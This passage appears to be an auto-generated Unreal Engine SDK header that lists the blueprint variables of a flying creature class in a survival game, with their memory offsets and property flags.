bool CallFunc_EqualEqual_DoubleDouble_ReturnValue8; // 0x37D9(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData140[0x6]; // 0x37DA(0x0006) MISSED OFFSET
class UAudioComponent* CallFunc_PlaySoundAttached_ReturnValue; // 0x37E0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class UAudioComponent* CallFunc_PlaySoundAttached_ReturnValue2; // 0x37E8(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class UAudioComponent* CallFunc_PlaySoundAttached_ReturnValue3; // 0x37F0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class UAudioComponent* CallFunc_PlaySoundAttached_ReturnValue4; // 0x37F8(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
TEnumAsByte<ENetModeBP> CallFunc_SwitchNetworkMode_OutNetworkMode3; // 0x3800(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_SwitchEnum4_CmpSuccess; // 0x3801(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData141[0x2]; // 0x3802(0x0002) MISSED OFFSET
struct FVector K2Node_CustomEvent_CameraHitLoc; // 0x3804(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector K2Node_CustomEvent_Start2; // 0x3810(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector K2Node_CustomEvent_end2; // 0x381C(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_CustomEvent_PlayImpactFX; // 0x3828(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_CustomEvent_HitCharacterOrStructure; // 0x3829(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData142[0x2]; // 0x382A(0x0002) MISSED OFFSET
struct FName K2Node_CustomEvent_Socket; // 0x382C(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData143[0x4]; // 0x3834(0x0004) MISSED OFFSET
class UParticleSystemComponent* CallFunc_SpawnEmitterAtLocation_ReturnValue2; // 0x3838(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
TEnumAsByte<ENetModeBP> CallFunc_SwitchNetworkMode_OutNetworkMode4; // 0x3840(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_SwitchEnum5_CmpSuccess; // 0x3841(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData144[0x6]; // 0x3842(0x0006) MISSED OFFSET
double CallFunc_GetNetworkTimeInSeconds_ReturnValue11; // 0x3848(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector K2Node_CustomEvent_Dir; // 0x3850(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector K2Node_CustomEvent_Loc; // 0x385C(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class AActor* K2Node_CustomEvent_Target; // 0x3868(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_K2_GetActorLocation_ReturnValue6; // 0x3870(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsValid_ReturnValue8; // 0x387C(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData145[0x3]; // 0x387D(0x0003) MISSED OFFSET
struct FVector CallFunc_Subtract_VectorVector_ReturnValue3; // 0x3880(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData146[0x4]; // 0x388C(0x0004) MISSED OFFSET
double CallFunc_GetNetworkTimeInSeconds_ReturnValue12; // 0x3890(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_SelectVector_ReturnValue; // 0x3898(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Normal_ReturnValue2; // 0x38A4(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
double CallFunc_Subtract_DoubleDouble_ReturnValue; // 0x38B0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_Conv_DoubleToFloat_ReturnValue; // 0x38B8(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData147[0x4]; // 0x38BC(0x0004) MISSED OFFSET
class UWorld* CallFunc_K2_GetWorld_ReturnValue6; // 0x38C0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_FMin_ReturnValue; // 0x38C8(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_K2_GetActorLocation_ReturnValue7; // 0x38CC(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_BPFastTrace_ReturnValue2; // 0x38D8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData148[0x7]; // 0x38D9(0x0007) MISSED OFFSET
class UWorld* CallFunc_K2_GetWorld_ReturnValue7; // 0x38E0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsPlayingBlockingAnim_ReturnVal2; // 0x38E8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData149[0x3]; // 0x38E9(0x0003) MISSED OFFSET
struct FVector CallFunc_K2_GetActorLocation_ReturnValue8; // 0x38EC(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsTimeSince_Network_ReturnValue3; // 0x38F8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData150[0x3]; // 0x38F9(0x0003) MISSED OFFSET
struct FVector CallFunc_Subtract_VectorVector_ReturnValue4; // 0x38FC(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_VSize_ReturnValue3; // 0x3908(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Less_FloatFloat_ReturnValue5; // 0x390C(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_BooleanOR_ReturnValue5; // 0x390D(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData151[0x2]; // 0x390E(0x0002) MISSED OFFSET
double CallFunc_GetNetworkTimeInSeconds_ReturnValue13; // 0x3910(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_EqualEqual_DoubleDouble_ReturnValue9; // 0x3918(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData152[0x7]; // 0x3919(0x0007) MISSED OFFSET
class UWorld* CallFunc_K2_GetWorld_ReturnValue8; // 0x3920(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_TimeSince_Network_ReturnValue3; // 0x3928(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_FClamp_ReturnValue; // 0x392C(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_Add_FloatFloat_ReturnValue4; // 0x3930(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_CustomEvent_Immelmann2; // 0x3934(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData153[0x3]; // 0x3935(0x0003) MISSED OFFSET
struct FVector CallFunc_Conv_FloatToVector_ReturnValue; // 0x3938(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_CustomEvent_Immelmann; // 0x3944(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsLocallyControlledByPlayer_ReturnValue2; // 0x3945(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_CanLoop_ReturnValue; // 0x3946(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData154[0x1]; // 0x3947(0x0001) MISSED OFFSET
class UWorld* CallFunc_K2_GetWorld_ReturnValue9; // 0x3948(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_GetUpVector_ReturnValue; // 0x3950(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData155[0x4]; // 0x395C(0x0004) MISSED OFFSET
class UPrimitiveComponent* K2Node_Event_MyComp; // 0x3960(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class AActor* K2Node_Event_Other; // 0x3968(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class UPrimitiveComponent* K2Node_Event_OtherComp; // 0x3970(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_Event_bSelfMoved; // 0x3978(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData156[0x3]; // 0x3979(0x0003) MISSED OFFSET
struct FVector K2Node_Event_HitLocation; // 0x397C(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector K2Node_Event_HitNormal; // 0x3988(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector K2Node_Event_NormalImpulse; // 0x3994(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FHitResult K2Node_Event_Hit; // 0x39A0(0x0088) (OutParm, Transient, DuplicateTransient, ReferenceParm)
float CallFunc_Dot_VectorVector_ReturnValue6; // 0x3A28(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsTimeSince_Network_ReturnValue4; // 0x3A2C(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Less_FloatFloat_ReturnValue6; // 0x3A2D(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData157[0x2]; // 0x3A2E(0x0002) MISSED OFFSET
float CallFunc_GetCurrentPercentOfMaxFlySpeed_ReturnValue; // 0x3A30(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Greater_FloatFloat_ReturnValue6; // 0x3A34(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsLocallyControlledByPlayer_ReturnValue3; // 0x3A35(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData158[0x2]; // 0x3A36(0x0002) MISSED OFFSET
class AController* CallFunc_GetController_ReturnValue6; // 0x3A38(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class AShooterPlayerController* K2Node_DynamicCast_AsShooterPlayerController4; // 0x3A40(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_DynamicCast5_CastSuccess; // 0x3A48(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData159[0x3]; // 0x3A49(0x0003) MISSED OFFSET
struct FVector CallFunc_K2_GetActorLocation_ReturnValue9; // 0x3A4C(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_RandomUnitVector_ReturnValue; // 0x3A58(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_RandomFloat_ReturnValue; // 0x3A64(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector K2Node_CustomEvent_PickupLocation; // 0x3A68(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_Multiply_FloatFloat_ReturnValue7; // 0x3A74(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Multiply_VectorFloat_ReturnValue8; // 0x3A78(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData160[0x4]; // 0x3A84(0x0004) MISSED OFFSET
class UParticleSystemComponent* CallFunc_SpawnEmitterAtLocation_ReturnValue3; // 0x3A88(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Add_VectorVector_ReturnValue8; // 0x3A90(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData161[0x4]; // 0x3A9C(0x0004) MISSED OFFSET
class UParticleSystemComponent* CallFunc_SpawnEmitterAtLocation_ReturnValue4; // 0x3AA0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_K2_GetActorLocation_ReturnValue10; // 0x3AA8(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData162[0x4]; // 0x3AB4(0x0004) MISSED OFFSET
class UParticleSystemComponent* CallFunc_SpawnEmitterAtLocation_ReturnValue5; // 0x3AB8(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_GetActorUpVector_ReturnValue2; // 0x3AC0(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_K2_GetActorLocation_ReturnValue11; // 0x3ACC(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsValid_ReturnValue9; // 0x3AD8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData163[0x7]; // 0x3AD9(0x0007) MISSED OFFSET
struct FHitResult CallFunc_MakeHitResult_ReturnValue; // 0x3AE0(0x0088) (Transient, DuplicateTransient)
bool K2Node_CustomEvent_AxisValue; // 0x3B68(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData164[0x3]; // 0x3B69(0x0003) MISSED OFFSET
int K2Node_CustomEvent_Direction3; // 0x3B6C(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector K2Node_CustomEvent_CamDir; // 0x3B70(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_EqualEqual_BoolBool_ReturnValue4; // 0x3B7C(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData165[0x3]; // 0x3B7D(0x0003) MISSED OFFSET
int K2Node_CustomEvent_Direction2; // 0x3B80(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector K2Node_CustomEvent_CameraDir; // 0x3B84(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsLocallyControlledByPlayer_ReturnValue4; // 0x3B90(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_CanBarrelRoll_Res; // 0x3B91(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData166[0x6]; // 0x3B92(0x0006) MISSED OFFSET
double CallFunc_GetNetworkTimeInSeconds_ReturnValue14; // 0x3B98(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class AShooterProjectile* K2Node_CustomEvent_Projectile; // 0x3BA0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsValid_ReturnValue10; // 0x3BA8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData167[0x3]; // 0x3BA9(0x0003) MISSED OFFSET
struct FVector CallFunc_Multiply_VectorFloat_ReturnValue9; // 0x3BAC(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_EqualEqual_DoubleDouble_ReturnValue10; // 0x3BB8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData168[0x3]; // 0x3BB9(0x0003) MISSED OFFSET
struct FVector CallFunc_Normal_ReturnValue3; // 0x3BBC(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FRotator CallFunc_Conv_VectorToRotator_ReturnValue8; // 0x3BC8(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_SetActorRotation_ReturnValue5; // 0x3BD4(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData169[0x3]; // 0x3BD5(0x0003) MISSED OFFSET
class AController* CallFunc_GetController_ReturnValue7; // 0x3BD8(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_NearlyEqual_FloatFloat_ReturnValue; // 0x3BE0(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData170[0x3]; // 0x3BE1(0x0003) MISSED OFFSET
float K2Node_CustomEvent_Speed; // 0x3BE4(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector K2Node_CustomEvent_Direction; // 0x3BE8(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Multiply_VectorFloat_ReturnValue10; // 0x3BF4(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class AController* CallFunc_GetController_ReturnValue8; // 0x3C00(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsLocallyControlledByPlayer_ReturnValue5; // 0x3C08(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData171[0x7]; // 0x3C09(0x0007) MISSED OFFSET
class APlayerController* CallFunc_CastToPlayerController_ReturnValue; // 0x3C10(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_GetActorRightVector_ReturnValue; // 0x3C18(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Multiply_VectorFloat_ReturnValue11; // 0x3C24(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_GetActorRightVector_ReturnValue2; // 0x3C30(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Multiply_VectorFloat_ReturnValue12; // 0x3C3C(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Multiply_VectorFloat_ReturnValue13; // 0x3C48(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Multiply_VectorFloat_ReturnValue14; // 0x3C54(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector K2Node_CustomEvent_Start; // 0x3C60(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector K2Node_CustomEvent_End; // 0x3C6C(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Subtract_VectorVector_ReturnValue5; // 0x3C78(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_K2_GetActorLocation_ReturnValue12; // 0x3C84(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
float CallFunc_VSizeSquared_ReturnValue; // 0x3C90(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Subtract_VectorVector_ReturnValue6; // 0x3C94(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsPlayingBlockingAnim_ReturnVal3; // 0x3CA0(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData172[0x3]; // 0x3CA1(0x0003) MISSED OFFSET
float CallFunc_VSize_ReturnValue4; // 0x3CA4(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Less_FloatFloat_ReturnValue7; // 0x3CA8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData173[0x3]; // 0x3CA9(0x0003) MISSED OFFSET
struct FVector CallFunc_K2_GetActorLocation_ReturnValue13; // 0x3CAC(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class UWorld* CallFunc_K2_GetWorld_ReturnValue10; // 0x3CB8(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class AMissionSpline* CallFunc_IsStarFoxMode_CurrentSpline2; // 0x3CC0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsStarFoxMode_ReturnValue2; // 0x3CC8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData174[0x7]; // 0x3CC9(0x0007) MISSED OFFSET
double CallFunc_IsStarFoxMode_RetRiderSetTime2; // 0x3CD0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsStarFoxMode_RetIsRiderWarmup2; // 0x3CD8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_BPFastTrace_ReturnValue3; // 0x3CD9(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData175[0x6]; // 0x3CDA(0x0006) MISSED OFFSET
class AMissionSpline* CallFunc_IsStarFoxMode_CurrentSpline3; // 0x3CE0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsStarFoxMode_ReturnValue3; // 0x3CE8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData176[0x7]; // 0x3CE9(0x0007) MISSED OFFSET
double CallFunc_IsStarFoxMode_RetRiderSetTime3; // 0x3CF0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsStarFoxMode_RetIsRiderWarmup3; // 0x3CF8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData177[0x3]; // 0x3CF9(0x0003) MISSED OFFSET
float CallFunc_Multiply_FloatFloat_ReturnValue8; // 0x3CFC(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_LessEqual_FloatFloat_ReturnValue; // 0x3D00(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData178[0x7]; // 0x3D01(0x0007) MISSED OFFSET
class UParticleSystemComponent* CallFunc_SpawnEmitterAtLocation_ReturnValue6; // 0x3D08(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class FString CallFunc_Conv_ObjectToString_ReturnValue; // 0x3D10(0x0010) (ZeroConstructor, Transient, DuplicateTransient)
bool CallFunc_IsSubmerged_ReturnValue; // 0x3D20(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData179[0x3]; // 0x3D21(0x0003) MISSED OFFSET
int CallFunc_Conv_BoolToInt_ReturnValue; // 0x3D24(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
TArray<struct FVector> K2Node_CustomEvent_Locations2; // 0x3D28(0x0010) (ZeroConstructor, Transient, DuplicateTransient)
int CallFunc_Array_Length_ReturnValue2; // 0x3D38(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Array_Get_Item2; // 0x3D3C(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Less_IntInt_ReturnValue2; // 0x3D48(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData180[0x7]; // 0x3D49(0x0007) MISSED OFFSET
struct UObject_FTransform CallFunc_Conv_VectorToTransform_ReturnValue; // 0x3D50(0x0030) (Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_BooleanAND_ReturnValue5; // 0x3D80(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData181[0x7]; // 0x3D81(0x0007) MISSED OFFSET
class UWorld* CallFunc_K2_GetWorld_ReturnValue11; // 0x3D88(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class AActor* CallFunc_BeginSpawningActorFromClass_ReturnValue; // 0x3D90(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class AActor* CallFunc_FinishSpawningActor_ReturnValue; // 0x3D98(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
double CallFunc_GetNetworkTimeInSeconds_ReturnValue15; // 0x3DA0(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsTimeSince_Network_ReturnValue5; // 0x3DA8(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_EqualEqual_DoubleDouble_ReturnValue11; // 0x3DA9(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_EqualEqual_DoubleDouble_ReturnValue12; // 0x3DAA(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData182[0x5]; // 0x3DAB(0x0005) MISSED OFFSET
TArray<struct FVector> K2Node_CustomEvent_Locations; // 0x3DB0(0x0010) (ZeroConstructor, Transient, DuplicateTransient)
int CallFunc_Array_Length_ReturnValue3; // 0x3DC0(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_Array_Get_Item3; // 0x3DC4(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_Less_IntInt_ReturnValue3; // 0x3DD0(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData183[0x7]; // 0x3DD1(0x0007) MISSED OFFSET
class UWorld* CallFunc_K2_GetWorld_ReturnValue12; // 0x3DD8(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_BooleanAND_ReturnValue6; // 0x3DE0(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool CallFunc_IsTimeSince_Network_ReturnValue6; // 0x3DE1(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData184[0x2]; // 0x3DE2(0x0002) MISSED OFFSET
struct FVector CallFunc_GetUpVector_ReturnValue2; // 0x3DE4(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_GetSocketLocation_ReturnValue; // 0x3DF0(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
struct FRotator CallFunc_Conv_VectorToRotator_ReturnValue9; // 0x3DFC(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class UParticleSystemComponent* CallFunc_SpawnEmitterAtLocation_ReturnValue7; // 0x3E08(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class AController* CallFunc_GetController_ReturnValue9; // 0x3E10(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class APrimalDinoAIController* K2Node_DynamicCast_AsPrimalDinoAIController; // 0x3E18(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_DynamicCast6_CastSuccess; // 0x3E20(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData185[0x7]; // 0x3E21(0x0007) MISSED OFFSET
class AActor* CallFunc_GetTarget_ReturnValue; // 0x3E28(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class AShooterCharacter* K2Node_DynamicCast_AsShooterCharacter2; // 0x3E30(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_DynamicCast7_CastSuccess; // 0x3E38(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData186[0x7]; // 0x3E39(0x0007) MISSED OFFSET
class AController* CallFunc_GetController_ReturnValue10; // 0x3E40(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class APrimalDinoAIController* K2Node_DynamicCast_AsPrimalDinoAIController2; // 0x3E48(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
bool K2Node_DynamicCast8_CastSuccess; // 0x3E50(0x0001) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData187[0x7]; // 0x3E51(0x0007) MISSED OFFSET
class UBlackboardComponent* CallFunc_GetBlackboard_ReturnValue; // 0x3E58(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
class UWorld* CallFunc_K2_GetWorld_ReturnValue13; // 0x3E60(0x0008) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
int CallFunc_GetCharacterLevel_ReturnValue; // 0x3E68(0x0004) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
unsigned char UnknownData188[0x4]; // 0x3E6C(0x0004) MISSED OFFSET
struct UObject_FTransform CallFunc_GetTransform_ReturnValue; // 0x3E70(0x0030) (Transient, DuplicateTransient, IsPlainOldData)
struct FVector CallFunc_BreakTransform_Location; // 0x3EA0(0x000C) (ZeroConstructor, Transient, DuplicateTransient, IsPlainOldData)
